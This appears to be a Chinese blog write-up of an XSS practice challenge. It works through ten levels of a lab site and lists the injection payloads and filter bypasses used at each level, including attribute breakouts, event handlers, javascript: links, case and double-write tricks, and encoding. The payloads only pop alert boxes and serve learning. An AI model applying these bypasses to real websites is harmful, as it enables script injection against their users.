XSS学习记录之xss闯关

第一关

发现没有输入框,页面上的元素点击也无反应,所以应该是在URL处进行漏洞注入。
没过滤,直接构造payload:
http://test.ctf8.com/level1.php?name= <script> alert(1) </script>test
然后显示我们成功了,点击确定进入下一关

第二关
这次有一个输入框,尝试输入aaa,可以发现URL变成:
http://test.ctf8.com/level2.php?keyword=aaa&submit=搜索
然后我们尝试直接在输入框输入JS代码或者在URL里添加,但发现注入失败,被输出来了
所以我们查看一下源码
所以我们可以闭合语句,直接在输入框输入payload:
"><script>alert(1)</script>
成功!ps:这时页面代码变成了:<input name="keyword" value=""><script>alert(1)</script>"
或者用on事件
" onclick=alert(1)> 需要点击一下输入框
" onmouseover=alert(1)>
又或者:
"><img src=1 onerror="alert(1)"
"><a href="javascript:alert(1)">123</a>都是可以的
第三关
尝试用上一关的方法,但是失败了-_-
查看源码发现尖括号被解析了

用单引号闭合即可,然后用on事件,参考payload:
' onclick=alert(1)%0a (%0a用做换行使的input标签语法正确,主要是因为过滤了“>”)onclick 事件直接包含在<>内,可直接被执行,观察源代码为单引号,把value给闭合掉
或者'onclick='javascript:alert(1)'这两个都是要再点击一下输入框
观察php源码则会发现htmlspecialchars()函数,

这个函数会将<>等一些字符进行实体化,但是单引号不会,所以还可以利用onmouseover事件
payload: ' onmouseover='alert(1)'

补充:
伪协议是一种不标准的协议,把javascript:后的语句当作js来执行,结果值返回当前页面,javascript:url的形式
on() 方法在被选元素及子元素上添加一个或多个事件处理程序,例:
onclick 事件会在元素被点击时发生
onmouseover 属性在鼠标指针移动到元素上时(滑过)触发
第四关
和第三关无差,只是闭合方式变成了双引号
"onclick='javascript:alert(1)'
观察PHP源码,多了一个str_replace()函数,

简单介绍一下,语法格式str_replace(find,replace,string),例:
<?phpecho str_replace("world","Peter","Hello world!");?>
是把字符串 "Hello world!" 中的字符 "world" 替换成 "Peter",
本题是将<>替换为空,这里可以利用oninput事件和onchange事件
payload:
"onchange=alert(1)//
" oninput=alert(1) //
此时页面代码为:value=" " onchange=" alert(1)//" "
value=" oninput=alert(1) //">
第五关
先用上一关的方法试试,失败了
分析源码得知:on事件被过滤,那我们试试"><script>alert(1)</script>结果是失败的o_o,只好再看一下源码
原来script也被过滤了,所以,这里呢我们改为<a>标签和JavaScript来绕过,payload:"><a href=javascript:alert(1)>
点搜索后没有弹框但是有一个超链接,点击即可

第六关

这里我么们直接使用上题的注入方式,然后发现都是失败的,查看源码如下:

<input name=keyword  value=" "><a hr_ef="javascript:alert(1)">">
<input name=keyword  value=" "o_nclick='javascript:alert(1)' ">
<input name=keyword  value=" "<scr_ipt> alert(1)</script>">

发现这里的href、 script、 onclick 都被过滤了,可以尝试下大小写绕过吖
参考payload:"Onclick='javascript:alert(1)'
成功!
第七关
试试输入上个一关的语句,结果如下:

<input name="keyword"  value=""><>alert(1)</>">
<input name="keyword"  value=""click='java:alert(1)'">
<input name="keyword" value><a =java:alert(1)>"">"

看来是on,script,href被完全过滤了,
一时无解,不知道还有什么语句,就看了下别人的博客,o_o原来是双写绕过吖
所以参考payload:
"><sscriptcript>alert(1)</sscriptcript>
"><a hhrefref=javasscriptcript:alert(1)>(点击链接)
"oonnclick='javasscriptcript:alert(1)'(二次点击输入框)
还有就不列举了·······
第八关


这道题过滤javascript关键字,会把javascript变成javasc_ript。可以通过tab制表符绕过(%09),参考payload:
javasc%09ript:alert(1)
java&#x73;&#x63;&#x72;ipt:alert(/xss/) #HTML实体编码(对哪一个字符编码都可如:javascri&#x70;t:alert(1)),然后还需要需要点击一下页面内的链接
第九关
观察源码,这次和第8关比只是多了一个对添加链接的判断,就是http://
所以只需要在我们的payload当中添加一个http即可,同时使用注释包裹起来,让他不生效就好:
payload:javascript:alert(1)/http://www.baidu.com/
第十关
这一关居然没有输入框

只能在URL上动手脚了--,但是什么也不知道,不能盲注吧,so查看一下源码:
发现有三个参数诶,应该是哪一个呢,三个一起输试试吧:http://test.ctf8.com/level10.php?keyword=t_link=1&t_history=2&t_sort=1
哇哦,不得了

答案出来了,只有t_sort参数处有回应,所以这里t_sort 就是注入点,构造命令(ps:代码中有隐藏的参数设置,把hidden改为text)
payload: &t_sort=" type="text" onclick="alert()
点击后成功啦!

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 前言 这是比较简单的xss练习小游戏,非常适合入门。一直以来,对xss的内容总感觉有一些屏障,应该是因为动手实践太...
    煊奕阅读 2,891评论 0 2
  • XSS挑战赛解题思路 level1 查看源代码 可以看到name处没有任何过滤,直接插入payload即可 lev...
    Wudi1阅读 1,488评论 0 3
  • XSS总结: xss分为三种,反射型xss,DOM型XSS及存储型XSS,不同类型的XSS的危害不同,有兴趣的...
    jiaoyurun阅读 779评论 0 0
  • 女慕贞洁 男效才良 知过必改 得能莫忘 罔谈彼短 靡恃己长 信使可复 器欲难量
    秋鸿春梦阅读 312评论 3 8
  • 每年到了腊八节前后,过年的气氛一天比一天浓烈起来。 超市里年货一条街,商品琳琅满目,叫人眼花缭乱,菜巿场里卖对联的...
    元字阅读 364评论 0 3